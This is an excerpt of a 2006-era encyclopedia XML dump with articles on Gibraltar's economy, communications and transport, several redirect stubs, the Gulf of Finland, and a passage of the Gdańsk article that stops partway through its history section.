Disclaimer: Tax rates may vary and information here may be incorrect or out of date.

=== Value Added Tax ===
There is no VAT in Gibraltar.

=== Gaming Tax (On-line Gaming)===
Levied at the rate of 1% of relevant income (gaming yield for on-line casinos and bets placed for on-line bookmakers), capped at £425,000 with a minimum payable of 20% of the cap figure.

=== Import Duties ===
Levied on goods imported into Gibraltar, mostly at 12%.

=== Excise Duties ===
Levied mainly on spirits, wines, tobacco and mineral oils.

=== Social Insurance 2005 ===

Employed persons contributions
{| 
|Contributor type
|Employee 
|Employer 
|Total 
|-
|Men aged between 18 &amp; 64
| 20.75 
| 26.20
| 46.95
|-
|Women aged between 18 &amp; 59
| 20.75 
| 26.20
| 46.95
|-
|Persons aged between 15 &amp; 17
| 19.02 
| 24.48
| 43.50
|-
|Men age 65 and over 
| 0 
| 26.20 
| 26.20
|-
|Women age 60 and over 
| 0  
| 26.20
| 26.20 
|-
|}

=== Corporation Tax ===
Resident Companies Full Rate 35%
Small companies Rate 20%
Marginal relief 7.5%
Small companies’ rate applies if taxable profits do not exceed £35,000
and the company derives at least 80% of its turnover from trading.
Between £35,000 and £105,000 the full rate applies less marginal
relief on the difference between £105,000 and taxable profits.

=== Withholding Tax ===
On dividends 0%
On interest paid to resident individuals 30%
On interest paid to resident companies 35%
On interest paid to non-residents 0%
In addition, no tax is payable on dividends between Gibraltar companies

=== Companies Special Status ===

* Exempt Status Company

Tax rate/amount (irrespective of profits) Ordinarily resident Flat rate of £225 per annum

* Non Resident Company

Non-resident Flat rate of £200 per annum

* Non-resident owned and controlled
companies incorporated in Gibraltar which do not trade, earn or remit income to Gibraltar are not liable to corporation tax.

=== Taxation of Capital ===

* Estate Duty - There is no Estate duty in Gibraltar

* Capital Gains Tax - There is no Capital Gains Tax in Gibraltar.

* Other Capital Taxes - There are no wealth, gift or other capital taxes


=== Income Tax Rates ===

{| 
|Bands £ 
|Tax Rate 
|-
| 0 - 4,000
|17% (reduced rate)
|-
| 4,001 - 10,000 
| 30% (standard rate)
|-
| 10,001 - 15,000 
|35%
|-
| Over - 15,000 
| 45%
|-
|}

=== Stamp Duty ===

Duty is on a scale as follows:-

* Property worth up to £160,000 - stamp duty abolished.
* Property work more than £160,000 but not exceeding £250,000 - duty stays at 1.26%.
* Property value above £250,000 but does not exceed £350,000 – duty rises to 1.6%.
* Property value exceeds £350,000 - duty rises to 2.5%.
* Stamp Duty on mortgages above £200,000 rises to 0.20%.

== External links ==

[http://www.gibraltar.gov.gi The Gibraltar Government website]

[http://www.fsc.gi The Financial Services Commission]

:''See also :'' [[Gibraltar]]

[[Category:Gibraltar]]
[[Category:Economies by country|Gibraltar]]

[[fr:économie de Gibraltar]]</text>
    </revision>
  </page>
  <page>
    <title>Communications in Gibraltar</title>
    <id>12083</id>
    <revision>
      <id>35800617</id>
      <timestamp>2006-01-19T10:55:49Z</timestamp>
      <contributor>
        <username>NFH</username>
        <id>396845</id>
      </contributor>
      <comment>/* Telecommunications */ rephrased even further to clarify that roaming agreements are prevented in Spain - please revert if you don't agree</comment>
      <text xml:space="preserve">==Telecommunications==

Until [[1990]], telephone services were operated by the Gibraltar Telephone Department. In that year, the Government of Gibraltar entered into two joint ventures with [[Nynex]] of the [[United States]], and [[British Telecom|BT]] in the [[United Kingdom]]. Gibraltar Nynex Communications (GNC) became responsible for fixed line telephony, and international calls to [[Spain]], while Gibtel (partly owned by BT) became responsible for all other international calls and mobile telephone services. In [[2002]], BT sold its 50 per cent stake in Gibtel, which merged with GNC to form '''Gibtelecom''', a joint venture between the Government of Gibraltar and Nynex's successor company, [[Verizon]].  

Telecommunication services in Gibraltar have been subject to Spanish restrictions. Spain refuses to recognise Gibraltar's [[country calling codes|international dialling code]] +350, instead treating Gibraltar as part of the [[Cadiz]] province's telephone exchange, using the code 9567. This has restricted the expansion of Gibraltar's [[telephone numbering plan]], as only 30 000 numbers can be dialled directly from Spain. 

This has also affected international calls from the rest of the world, because carriers using least cost routing, especially in the US, route calls to Gibraltar via Spain, which prevents calls dialled using the code +350 from terminating in Gibraltar. Consequently, the caller hears a recorded announcement saying that the number dialled does not exist. Even when calls routed via Spain are allowed to terminate in Gibraltar, under the 'sender keeps all' arrangement, [[Telefónica]] in Spain is able to keep revenue from these calls, instead of paying Gibtelecom's international termination charges. Although all other countries and territories recognise the +350 dialling code, not all networks block calls to Gibraltar made using the Spanish code +34 9567, which allows subscribers to call Gibraltar for the cost of a call to Spain.

Gibtelecom is also prevented from having roaming agreements with Spanish GSM networks, thereby preventing Gibtel mobile phones from working in Spain. Gibtelecom has roaming arrangements with local GSM networks in most other countries.

The telecommunications infrastructure in Gibraltar is modelled on that of the [[UK]]; for example; the [[ringing tone]] of fixed telephone lines is identical to that of the UK, although that of mobile phones may resemble that of mainland Europe, with long tones. Telephone jacks are also [[British Standard]] [[BS 6312]], as opposed to the [[RJ-11]] versions found in the rest of mainland Europe.

It is a popular myth among travel writers that Gibraltar still has traditional red British-style telephone boxes; very few are to be found in use.


'''[[Telephones]] - main lines in use:''' 24,070 (2002)

'''Telephones - mobile [[Cellular telephone|cellular]]:'''
8,000 (2002 estimate)

'''Telephone system:'''
adequate, automatic domestic system and adequate international facilities
&lt;br&gt;''domestic:''
Digital exchange facilities
&lt;br&gt;''international:''
[[radiotelephone]]; [[microwave]] [[radio]] relay; [[satellite]] earth station - 1 Intelsat (Atlantic Ocean)

==Broadcasting==

The Gibraltar Broadcasting Corporation operates Radio Gibraltar on both FM and AM, broadcasting a mix of local programming in [[English language|English]] and [[Spanish language|Spanish]], and retransmissions of the [[BBC World Service]]. A local television channel, GBC TV is transmitted on VHF Channel 12 with UHF repeaters. Until [[1999]], GBC TV retransmitted [[BBC Prime]], but was relaunched as a community-based service focusing on local news and other items of local interest.  Most homes have access to [[satellite television]] from the United Kingdom, and also receive television and radio from Spain. 

GBC programming starts at around 19.30 and finishes before midnight
with the most popular programme being the local news at 20.30. During the day fillers and the sound of GBC radio is transmitted. 
In December 2005, GBC started internet streaming of its radio service on the Internet. 
Details, along with an up-to-date programme guide for TV and Radio can be found on the GBC [http://www.gbc.gi website]

The [[British Forces Broadcasting Service]] (BFBS) operates two radio stations on FM, BFBS1 and BFBS2 and a private cable television network. BFBS1 and 2 are also available on the Internet, but are not actually streamed from Gibraltar.


'''Radio broadcast stations:'''
AM 1, FM 3, shortwave 0, Internet 1 (2005) 

'''Radios:'''
37,000 (1997) - Radio licences now discontinued

'''[[Television]] broadcast stations:'''
1 (plus three low-power repeaters) (2002)

'''Television Licences:'''
7,452 (2002)

==Internet==

'''[[Internet Service Provider]]s (ISPs):'''
2
GibNet, a private company, began internet services in [[1996]],
in 2005 it merged with Broadband Gibraltar Limited to form Sappire Networks Limited.

GNC Networks, a wholly-owned subsidiary of Gibraltar Nynex Communications, commenced services in [[1997]]. GNC Networks was renamed Gibconnect in [[2002]]. [[ADSL]] services were not introduced until [[2002]]: the relatively high cost of the service had meant that take-up from residential customers and small businesses was initially slow, however by 2005, there are several thousand users.  

'''[[Country codes|Country code]] (Top-level domain):''' GI

'''[[List of country calling codes|Calling code]]:''' 350

'''GSM Network Identifier :''' GIBTEL

==External links==
*[http://www.gbc.gi Gibraltar Broadcasting Corporation] - Radio streamed on the Internet.
*[http://www.ssvc.com/bfbs/radio/gibraltar BFBS Radio in Gibraltar]
*[http://www.gra.gi Gibraltar Regulatory Authority]
*[http://www.gibtele.com/ Gibtelecom]
*[http://www.gibnet.gi GibNet]
*[http://www.gibradio.net Amateur Radio in Gibraltar ]
:''See also :'' [[Gibraltar]]

[[Category:Communications by country|Gibraltar]]
[[Category:Gibraltar]]</text>
    </revision>
  </page>
  <page>
    <title>Transport in Gibraltar</title>
    <id>12084</id>
    <revision>
      <id>33783954</id>
      <timestamp>2006-01-04T00:12:14Z</timestamp>
      <contributor>
        <username>MindlessXD</username>
        <id>481404</id>
      </contributor>
      <minor />
      <comment>spelling correction</comment>
      <text xml:space="preserve">Gibraltar has a large [[automobile|car]] population, in spite of its small size, with as many motor vehicles as people. Traffic in Gibraltar drives on the  [[Rules of the road|right]], as it shares a land border with [[Spain]]. Originally traffic was on the left, but fearing accidents and disputes involving vehicles from Spain, the authorities ordered the change from 05:00 on [[16 June]] [[1929]].

Gibraltar's international vehicle registration is GBZ, and Gibraltar number plates consist of the letter G followed by a series of digits. These are the same shape, type face and colours as those in the UK. The [[Chief Minister of Gibraltar|Chief Minister]]'s official car has the registration number G1, while the [[Governor of Gibraltar|Governor]]'s car, following tradition, has a crown, not a number plate.  

{{CIA}}

'''[[Railroad|Railways]]:'''
&lt;br&gt;''total:''
0 km; 

There used to be a 1.000-m gauge system in [http://wiktionary.org/wiki/Dockyard dockyard] area only

'''[[Highway]]s:'''
&lt;br&gt;''total:''
49.9 km
&lt;br&gt;''paved:''
49.9 km
&lt;br&gt;''unpaved:''
0 km

'''[[Pipeline]]s:'''
0 km

'''Ports and [[harbour]]s:'''
Gibraltar

'''[[Merchant marine]]:'''
&lt;br&gt;''total:''
26 [[ship]]s (1,000 GRT or over) totaling 477,183 GRT/752,644 DWT
&lt;br&gt;''ships by type:''
bulk 1, cargo 2, chemical tanker 2, container 4, multi-functional large load carrier 1, passenger 1, petroleum tanker 13, roll-on/roll-off 2 (1999 est.)

'''[[Airport]]s:'''
1

'''Airports - with paved runways:'''
&lt;br&gt;''total:''
1
&lt;br&gt;''1,524 to 2,437 m:''
1&lt;br&gt;
The airport is built on the [[isthmus]] which the Spanish Government claim not to have been ceded in the [[Treaty of Utrecht (1713)|Treaty of Utrecht]], thus the integration of [[Gibraltar Airport]] in the [[Single European Sky]] system has been blocked by Spain. The 1987 agreement for joint control of the airport with Spain was rejected by the then Government of Gibraltar.  All successive Gibraltar governments have rejected it, although welcoming joint use of the airport (which being on the border could operate very similarly to [[Geneva Airport]] or [[Basel Airport]]). This offer has not been accepted.

Spain also bans ferry and air services to and from Gibraltar. For a few months in [[2004]] Spain banned cruise ships which had visited Gibraltar from going to Spanish ports on the same journey. Motorists and sometimes pedestrians crossing the border are randomly subjected to long delays and searches by the Spanish authorities. The [[Guardia Civil (Spain)|Guardia Civil]] routinely search vehicles in the middle of the road, rather than directing suspect vehicles to a designated search area, thereby causing an obstruction to vehicles behind.

In 2003 the land frontier was closed for a day by Spain on the grounds that a visiting cruise liner, the [[MV Aurora]], was affected by contagious food poisoning.  Subsequently, no cases in Gibraltar were reported.

'''Bus routes:'''
&lt;br&gt;''total:''
5&lt;br&gt;

Buses run to most areas of the territory apart from the Upper Rock, which is a nature reserve. One bus company runs four routes, a second company runs one. Buses run regularly from the frontier/airport area to the city centre.

'''Taxis'''

Taxis are available around the Rock. Many cater specifically offer tours of the Upper Rock nature reserve. These can be picked up from the frontier or the city centre.

'''Cable car'''

A cable car runs from just south of the city centre to the [[Barbary Ape|Ape's Den]] and the Top of the Rock, which despite its name is actually the second highest peak of the Rock.

:''See also :'' [[Gibraltar]]

{{Gibraltar-stub}}

[[Category:Gibraltar]]
[[Category:Transport in British Overseas Territories and Crown Dependencies]]</text>
    </revision>
  </page>
  <page>
    <title>Military of Gibraltar</title>
    <id>12085</id>
    <revision>
      <id>15909793</id>
      <timestamp>2002-10-22T04:52:41Z</timestamp>
      <contributor>
        <username>The Epopt</username>
        <id>30</id>
      </contributor>
      <comment>#REDIRECT [[Gibraltar]] -- merged with main page</comment>
      <text xml:space="preserve">#REDIRECT [[Gibraltar]]</text>
    </revision>
  </page>
  <page>
    <title>Foreign relations of Gibraltar</title>
    <id>12086</id>
    <revision>
      <id>15909794</id>
      <timestamp>2002-10-22T04:52:35Z</timestamp>
      <contributor>
        <username>The Epopt</username>
        <id>30</id>
      </contributor>
      <comment>#REDIRECT [[Gibraltar]] -- merged with main page</comment>
      <text xml:space="preserve">#REDIRECT [[Gibraltar]]</text>
    </revision>
  </page>
  <page>
    <title>Glorioso Islands</title>
    <id>12087</id>
    <revision>
      <id>39884632</id>
      <timestamp>2006-02-16T15:33:04Z</timestamp>
      <contributor>
        <username>Koavf</username>
        <id>205121</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Scattered islands in the Indian Ocean]]</text>
    </revision>
  </page>
  <page>
    <title>History of the Glorioso Islands</title>
    <id>12088</id>
    <revision>
      <id>39884642</id>
      <timestamp>2006-02-16T15:33:07Z</timestamp>
      <contributor>
        <username>Koavf</username>
        <id>205121</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Scattered islands in the Indian Ocean]]</text>
    </revision>
  </page>
  <page>
    <title>Geography of the Glorioso Islands</title>
    <id>12089</id>
    <revision>
      <id>39884841</id>
      <timestamp>2006-02-16T15:35:00Z</timestamp>
      <contributor>
        <username>Koavf</username>
        <id>205121</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Scattered islands in the Indian Ocean]]</text>
    </revision>
  </page>
  <page>
    <title>Government of the Glorioso Islands</title>
    <id>12091</id>
    <revision>
      <id>39884673</id>
      <timestamp>2006-02-16T15:33:18Z</timestamp>
      <contributor>
        <username>Koavf</username>
        <id>205121</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Scattered islands in the Indian Ocean]]</text>
    </revision>
  </page>
  <page>
    <title>Economy of the Glorioso Islands</title>
    <id>12092</id>
    <revision>
      <id>39884672</id>
      <timestamp>2006-02-16T15:33:18Z</timestamp>
      <contributor>
        <username>Koavf</username>
        <id>205121</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Scattered islands in the Indian Ocean]]</text>
    </revision>
  </page>
  <page>
    <title>Communications on the Glorioso Islands</title>
    <id>12093</id>
    <revision>
      <id>39884677</id>
      <timestamp>2006-02-16T15:33:22Z</timestamp>
      <contributor>
        <username>Koavf</username>
        <id>205121</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Scattered islands in the Indian Ocean]]</text>
    </revision>
  </page>
  <page>
    <title>Transportation on the Glorioso Islands</title>
    <id>12094</id>
    <revision>
      <id>39884681</id>
      <timestamp>2006-02-16T15:33:25Z</timestamp>
      <contributor>
        <username>Koavf</username>
        <id>205121</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Scattered islands in the Indian Ocean]]</text>
    </revision>
  </page>
  <page>
    <title>Military of the Glorioso Islands</title>
    <id>12095</id>
    <revision>
      <id>39884684</id>
      <timestamp>2006-02-16T15:33:28Z</timestamp>
      <contributor>
        <username>Koavf</username>
        <id>205121</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Scattered islands in the Indian Ocean]]</text>
    </revision>
  </page>
  <page>
    <title>Transnational issues of the Glorioso Islands</title>
    <id>12096</id>
    <revision>
      <id>39884853</id>
      <timestamp>2006-02-16T15:35:08Z</timestamp>
      <contributor>
        <username>Koavf</username>
        <id>205121</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Scattered islands in the Indian Ocean]]</text>
    </revision>
  </page>
  <page>
    <title>Gulf of Finland</title>
    <id>12098</id>
    <revision>
      <id>37015791</id>
      <timestamp>2006-01-28T00:05:38Z</timestamp>
      <contributor>
        <username>Ghirlandajo</username>
        <id>147410</id>
      </contributor>
      <comment>not sure if the cat is appropriate however</comment>
      <text xml:space="preserve">[[Image:Baltic_sea_map.jpg|thumb|320px|The Baltic Sea]]

The '''Gulf of Finland''' is an arm of the [[Baltic Sea]] that extends between [[Finland]] (to the north) and [[Estonia]] (to the south) all the way to the city of [[Saint Petersburg]] in [[Russia]], where the river [[Neva]] drains into it. Other major cities around the gulf include [[Helsinki]] and [[Tallinn]].

==See also==
* [[Kotlin Island]]

==External links==
* [http://earth.esa.int/showcase/env/Finland/Gulf_of_Finland_MER_FR_Orbit_07204_20030717.htm ESA satellite photograph of the Gulf of Finland]

[[Category:Gulfs|Finland]]
[[Category:Geography of Finland]]
[[Category:Geography of Estonia]]
[[Category:Bays of Russia]]

[[af:Finse Golf]]
[[ar:خليج فنلندا]]
[[ca:Golf de Finlàndia]]
[[cs:Finský záliv]]
[[de:Finnischer Meerbusen]]
[[et:Soome laht]]
[[el:Φινλανδικός κόλπος]]
[[es:Golfo de Finlandia]]
[[fr:Golfe de Finlande]]
[[ko:핀란드 만]]
[[it:Golfo di Finlandia]]
[[he:המפרץ הפיני]]
[[hu:Finn-öböl]]
[[nl:Finse Golf]]
[[ja:フィンランド湾]]
[[nn:Finskebukta]]
[[pl:Zatoka Fińska]]
[[pt:Golfo da Finlândia]]
[[ru:Финский залив]]
[[sk:Fínsky záliv]]
[[fi:Suomenlahti]]
[[sv:Finska viken]]
[[vi:Vịnh Phần Lan]]
[[tr:Finlandiya Körfezi]]</text>
    </revision>
  </page>
  <page>
    <title>Gdańsk</title>
    <id>12099</id>
    <restrictions>move=:edit=</restrictions>
    <revision>
      <id>42105496</id>
      <timestamp>2006-03-03T21:36:05Z</timestamp>
      <contributor>
        <username>Cosal</username>
        <id>153219</id>
      </contributor>
      <minor />
      <comment>/* Foundation and the Middle Ages */</comment>
      <text xml:space="preserve">{{dablink|For alternative meanings of Gdańsk and Danzig, see [[Gdańsk (disambiguation)]] and [[Danzig (disambiguation)]]}}
{{Infobox Poland  &lt;!--SCROLL DOWN IN ORDER TO EDIT THE ARTICLE--&gt;
|    city_name=Gdańsk
|        motto=''Nec temere, nec timide'' &lt;br&gt;(Neither rashly nor timidly)
|   voivodship=[[Pomeranian Voivodship|Pomeranian]]
|      council=''Rada miasta Gdańska''
|        mayor=[[Paweł Adamowicz]]
|         area=262
|   population=460 524 &lt;small&gt;(2004)&lt;/small&gt; - [[List of cities in Poland|Ranked 6th]]
|agglomeration=1,100,000 ([[Tricity]])
|      density=1761
| date_founded=[[997]]
|  city_rights=[[1263]]
|     latitude=54°40'N
|    longitude=18°60'E
|    area_code=+48 58
|   car_plates=GD
|   twin_towns=[[Astana]], [[Barcelona]], [[Bremen (city)|Bremen]], [[Cleveland, Ohio|Cleveland]], [[Elsinore]], [[Kaliningrad]], [[Kalmar]], [[Marseille]], [[Nice]], [[Odessa]], [[Rotterdam]], [[Rouen]], [[Sefton]], [[Saint Petersburg|St. Petersburg]], [[Turku]], [[Vilnius]]
|      website=http://www.gdansk.pl/
| location_pic=Polandmap cia gdansk.png
|     flag_pic=Flagge Gdansk.PNG
|      coa_pic=PB Gdańsk CoA.png
|colour_scheme=background:#cccccc;
|}}

'''Gdańsk''' (pronounced {{IPAudio|Gdansk.ogg|['gdaɲsk]}}, ''Danzig'' in [[German language|German]], [[Kashubian language|Kashubian]]: ''Gduńsk'', [[Latin]]: ''Gedania''; also [[Names of European cities in different languages|other languages]]) is the sixth-largest city in [[Poland]], its principal [[seaport]], and the capital of the [[Pomeranian Voivodship]].

The city lies on the southern coast of the [[Gdańsk Bay]] (of the [[Baltic Sea]]), in a conurbation with the spa town of [[Sopot]], the city of [[Gdynia]] and [[suburb]]an communities, which together form a [[metropolitan area]] called the greater Gdańsk or the [[Tricity]] (''Trójmiasto'') with a population of over a million people. Gdańsk is, with a population of 460,524 (mid 2004), the largest city in the historical province of [[Eastern Pomerania]]. North lies the Kashubian  Tricity: [[Rumia]],  [[Reda]], and [[Wejherowo]]

Gdańsk is situated at the mouth of the [[Motława]] river, connected to the [[Leniwka]], a branch in the delta of the [[Vistula]], whose waterway system connects 60% of the area of Poland, giving the city a unique advantage as the center of Poland's sea trade.

Historically an important seaport since mediaeval times and subsequently a principal ship-building centre, Gdańsk was a member of the [[Hanseatic League]]. Today the city remains an important industrial centre, together with the nearby port of [[Gdynia]], and is world famous as the birthplace of the [[Solidarity]] movement which, under the leadership of [[Lech Wałęsa]], played a major role in bringing an end to [[Communist]] rule in the [[Eastern Bloc]].

==Names==

The name is thought to mean ''town located on Gdania river'', the original name of the Motława branch the city is situated on. Like many other European cities, Gdańsk has had many different names throughout its history. 

The Polish name is '''Gdańsk''', and in the local [[Kashubian language]] it is known as '''Gduńsk'''. Since the city was dominated by its German population, became part of the [[Kingdom of Prussia]] in [[1792]], and was part of the German Empire until 1919, the German  name '''Danzig''' was widely used until the end of the Second World War. The city's [[Latin]] name may be given as any of '''Gedania''', '''Gedanum''' or '''Dantiscum'''; the variety of Latin names reflects the influence of the Polish, Kashubian, and German names.

A former [[English language|English]] version of its name was '''Dantsic''' (in use until the end of [[WWI]]). Gdańsk is usually pronounced [[International Phonetic Alphabet|IPA]] {{IPA|[gəˈdɑːnsk]}}, {{IPA|[gəˈdaɪnsk]}}, or {{IPA|[gəˈdænsk]}} in English. The acute accent is frequently neglected by non‐Poles.

''See also:'' [[Names of European cities in different languages#G|List of European cities with names in different languages]]

=== Historical documents ===
[[Image:RegiaCivitatisGedanensis.jpg|left|thumb|Danzig Royal City coin of 1589 ([[Sigismund_III_of_Poland|Sigismund III Vasa]] period)]]
The name of a settlement was recorded after St. Adalbert's demise in 997 A.D. as ''urbs Gyddanyzc'' and later was written as Kdanzk (1148), Gdanzc (1188), Gdansk (1236), Danzc (1263), Danczk (1311, 1399, 1410, 1414&amp;ndash;1438), Danczik (1399, 1410, 1414), Danczig (1414), Gdansk (1454, 1468, 1484), ''Gdansk'' (1590), ''Gdąnsk'' (1636) and in Latin documents ''Gedanum'' or ''Dantiscum''. These early recordings show the Pomeranian name Gduńsk, the Polish name Gdańsk and the German name Danzig.

Alternative spellings from [[Middle Ages|medieval]] and early modern documents are ''Gyddanyzc'', ''Kdansk'', ''Gdanzc'', ''Dantzk'', ''Dantzig'', ''Dantzigk'', ''Dantiscum'' and ''Gedanum''. The official Latin name of ''Gedanum'' was used simultaneously.

=== Special celebration names ===

On special occasions it is also known as '''The Royal Polish City of Gdańsk'''; [[Polish language|Polish]]: ''Królewskie Polskie Miasto Gdańsk'', [[German language|German]]: ''Königliche Polnische Stadt Danzig'', [[Latin]]: ''Regia Civitas Polonica Gedanensis'', [[Kashubian language|Kashubian]]: ''Królewsczi Polsczi Gard Gduńsk''.

The Kashubians prefer the name: '''Our Capital City Gdańsk''' (=''Nasz Stoleczny Gard Gduńsk'') or '''The Kashubian Capital City Gdańsk''' (=''Stoleczny Kaszëbsczi Gard Gduńsk'').

Sources:
* Gdańsk, in: Kazimierz Rymut, ''Nazwy Miast Polski'', [[Ossolineum]], Wrocław 1987
* Hubert Gurnowicz, ''Gdańsk'', in: ''Nazwy miast Pomorza Gdańskiego'', [[Ossolineum]], Wrocław 1978

== History ==
''Main article: [[History of Gdańsk]], see also: [[History of Pomerania]]''
[[Image:Seal of Msciwoj II of Pomerania.gif|frame|left|Seal of [[Msciwoj II of Pomerania|Mściwój II]], duke of Gdańsk Pomerania (1271-1294)]]
[[Image:ZURAW-Gdansk 2004 ubt.jpeg|thumb|240px|right|[[Żuraw]], mediaeval port [[crane (machine)|crane]] in Gdańsk]]
=== Foundation and the Middle Ages ===

[[Image:Pomnik Sobieski Gdansk.jpg|240px|thumb|right|[[John III Sobieski, King of Poland|King John III Sobieski]]]]
According to archeologists, the Gdańsk stronghold was built in the 980s by [[Mieszko I of Poland]].  The year [[997]] is recently being considered to be the date of the foundation of the city, this being the year when Saint [[Adalbert of Prague]] (sent by the Polish king [[Boleslaus I of Poland|Boleslaus the Brave]]) baptized the inhabitants of Gdańsk (''urbs Gyddanyzc''). 

In the following years Gdańsk was the main centre of a Polish splinter duchy ruled by the [[Dukes of Pomerania]]. The most famous of them, [[Świętopełk II of Pomerania]], granted a local autonomy charter in ca. [[1235]] to the city, which at the time had about 2,000 inhabitants. The town had earlier obtain a city charter under Lübeck Law in 1224. 

By [[1308]] Gdańsk had became a flourishing trading city with some 10,000 inhabitants, but in the [[Gdańsk Massacre]] of [[November 13]] 1308, it was occupied and demolished by the [[Teutonic Knights]]. This led to the city's decline and to a series of wars between the Knights and the Poland, ending with the [[Peace of Kalisz]] in [[1343]] when the Knights acknowledged that they would hold Pomerania as &quot;an alm&quot; from the Polish king. Although it left the legal basis of their possession of the province in some doubt, the agreement permitted the foundation of the municipality in [[1343]] and the development of increased export of grain from Poland via the [[Vistula river]] trading routes. 

While under the control of the Knights, the city and its trade prospered, German influence increased, and the city began to be referred to by variations of &quot;Gdańsk&quot;, ultimately developing into the Germanised version of the Polish name: &quot;Danzig&quot;. The city became a full member of the [[Hanseatic League]] in [[1361]], and its city seal showed a Hanse &quot;Kogge&quot; with the inscription SIGILLUM BURGENSIUM DANTZIKE.

A new war broke out in [[1409]], ending with the [[Battle of Grunwald]] ([[1410]]), and the city briefly came under the direct overlordship of the Polish king. A year later, with the [[Peace of Toruń 1411|Peace of Toruń (Thorn) in 1411]], it returned to the Teutonic Knights' administration.  In [[1440]] Danzig participated in the foundation of the [[Prussian Union]] which eventually led to the [[Thirteen Years War]] ([[1454]]-[[1466]]) and the [[Peace of Toruń 1466|incorporation]] of [[Royal Prussia]] to the direct rule of the Polish Crown.

Thanks to the Royal charters granted by king [[Casimir IV the Jagiellonian]] and the free access to all Polish markets, Danzig became a large and prosperous seaport and city. The [[16th century|16th]] and [[17th century|17th]] centuries were a Golden Age for trade and culture of the city. Inhabitants from various ethnic groups (Germans, Poles, [[Jews]], and [[Dutch people|Dutch]] being the largest) contributed to Danzig's identity and rich culture of this period. A large number of [[Scotsmen]] took refuge or emigrated to and received citizenship in Danzig and other Prussian cities (see links below) and also, through trade, all over the Baltic region. 

The city suffered a slow economic decline due to the wars in the 18th century, which ended with the [[Partitions of Poland]] from [[1772]] to [[1795]]. Danzig was annexed to the [[Kingdom of Prussia]] in [[1793]] and remained Prussian until 1919 &amp;ndash; except for the short period of 1807-1815 when it was the [[Free City of Danzig]] during the [[Napoleon]]ic years. As part of Prussia, it became part of the [[German Empire]] in [[1871]]. 
[[Image:GD032003_ubt.jpeg|240px|thumb|right|[[Main Town Hall]]]]

=== World Wars and Inter-War Years === 

As a result of the [[Versailles treaty]] after [[World War I]], Danzig became a free city under the control of the [[League of Nations]]. Its now predominantly German population had no right of self-determination in a referendum as in other disputed parts of the former [[German Empire]]. When Poland regained its independence after [[World War I]], the Poles hoped to regain the city to provide the free access to the sea which they had been promised by the [[Allies of World War I|Allies]] on the basis of [[Woodrow Wilson]]'s &quot;[[Fourteen Points]]&quot;.  However, since the population of the city was predominantly German, it was not placed under Polish sovereignty, but became the [[Free City of Danzig]], an independent quasi-state under the auspices of the [[League of Nations]], governed by its predominantly German residents but with its external affairs largely under Polish control. The Free City issued its own stamps and currency, bearing the legend &quot;''Freie Stadt Danzig''&quot; and symbols of the city's maritime orientation and history.

The ethnically German majority of the city's population favored eventual return to Germany. In the early 1930s the [[Nazi]] Party capitalized on these pro-German sentiments, and in 1933 garnered 38 percent of vote for the Danzig ''Volkstag''. Thereafter the Nazis under ''Gauleiter'' [[Albert Förster]], a native of [[Fürth]] in northern [[Bavaria]], achieved dominance in the city government - which, nominally, was still overseen by the League of Nations' High Commissioner.

Nazi demands for easier access from [[Pomerania]] to Danzig and to [[East Prussia]] served as a direct pretext for the German [[Polish September Campaign|attack on Poland]] on [[September 1]], [[1939]] and triggered the outbreak of [[World War II]]. 
Military assault on Danzig began with an artillery bombardment by the old German [[HMS Dreadnought (1906)|pre-Dreadnaught]] [[battleship]] ''[[German battleship Schleswig-Holstein|Schleswig-Holstein]]'' of the [[Westerplatte]] peninsula and a subsequent landing of German infantry. Polish defenders at the Westerplatte resisted for nearly a week before running out of ammunition. Many members of Danzig's Polish and [[Kashub]] population were deported to [[Stutthof concentration camp]] near Danzig or were executed at [[Piaśnica]] forest. The city was annexed by [[Nazi Germany]] and incorporated into the [[Reichsgau]] [[Danzig-Westpreussen]]. 

Most of the [[Jewish community]] in Danzig was able to escape from the [[Nazis]] shortly before the outbreak of hostilities. However, German secret police had been observing Polish circles since 1936, compiling information which in 1939 served to prepare conscription  lists of Poles to be arrested or executed in [[Operation Tannenberg]]. After the Nazi invasion, massive arrests of Poles started. On the first day of the war alone approx. 1,500 people were arrested[http://www.kki.net.pl/~museum/museums.htm], mainly Poles active in the social and economical life, activists and members of Polish organizations. On [[2 September]] [[150]] of them were deported to Stutthof, where most were eventually killed.

After the final Soviet offensive began in January 1945, hundreds of thousands of German refugees fled through the city's port in a large-scale naval operation employing hundreds of German cargo and passenger ships. On [[30 March]] [[1945]], the [[Red Army]] entered a city 90% in ruins. It is estimated that 25 percent of the pre-war population had been killed. After the [[Yalta conference|Yalta]] and [[Potsdam Conference|Potsdam]] conferences, Gdańsk was assigned to Poland along with other German territories west of the Oder-Neisse line. The remaining German residents of the city who survived the war were expelled to what remained of Germany, and the city henceforth became a wholly Polish city known as Gdańsk.

=== Modern age ===

Poles came to the city from throughout Poland, especially from the regions of eastern Poland annexed by the [[Soviet Union]]. The Old City was rebuilt during the [[1950s]] and [[1960s]]. Because of the development of its port and three major shipyards, Gdańsk was a major shipping and industrial center of the [[Communist]] [[People's Republic of Poland]].

In the course of German-Polish reconciliation policies driven by [[West Germany|West German]] [[Chancellor]] [[Willy Brandt]]'s ''[[Ostpolitik]]'', German territorial claims on Gdańsk (and all other formerly German territories now under Polish administration) were renounced, and its full incorporation into Poland was recognized in the [[Treaty of Warsaw (1970)|Treaty]] of [[Warsaw]] in [[1970]].

In 1970, Gdańsk was the scene of anti-government demonstrations which led to the downfall of Poland's communist leader [[Wladyslaw Gomulka]]. Ten years later the [[Gdańsk Shipyard]] was the birthplace of the [[Solidarity]] trade union movement, whose opposition to the government led to the end of communist party rule ([[1989]]).  Solidarity's leader [[Lech Wałęsa]] became [[President of the Republic of Poland|President of Poland]] in [[1990]]. Today Gdańsk is a major industrial city and shipping port.

Throughout its long history Gdansk faced various periods of rule from different states before 1945, 997-1308: as part of Poland 1308-1466: as part of territory of Teutonic Order 1466-1793: as part of Poland 1793-1805: as part of Prussia 1807-1814: as free city 1815-1871: as part of Prussia 1871-1918: Imperial Germany 1918-1939: as free city 1939-1945: Nazi Germany

